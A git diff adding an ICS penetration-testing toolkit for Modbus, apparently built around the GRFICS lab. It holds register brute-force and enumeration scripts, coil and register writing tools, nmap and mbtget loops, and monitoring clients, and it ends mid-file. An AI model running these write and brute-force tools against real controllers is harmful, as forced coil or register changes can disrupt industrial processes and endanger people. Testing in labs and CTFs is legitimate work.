+ + + + + + + + + + + + + + + + + + + + + + + + + + + + a_sp_c + + + + + + + + + + + a_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_sp_c + + + + + + + + + + + flow_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + over_sp_c + + + + + + + + + + + + + over_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_sp_c + + + + + + + + + + + + + level_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + press_sp_c + + + + + + + + + + + + + press_sp + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print 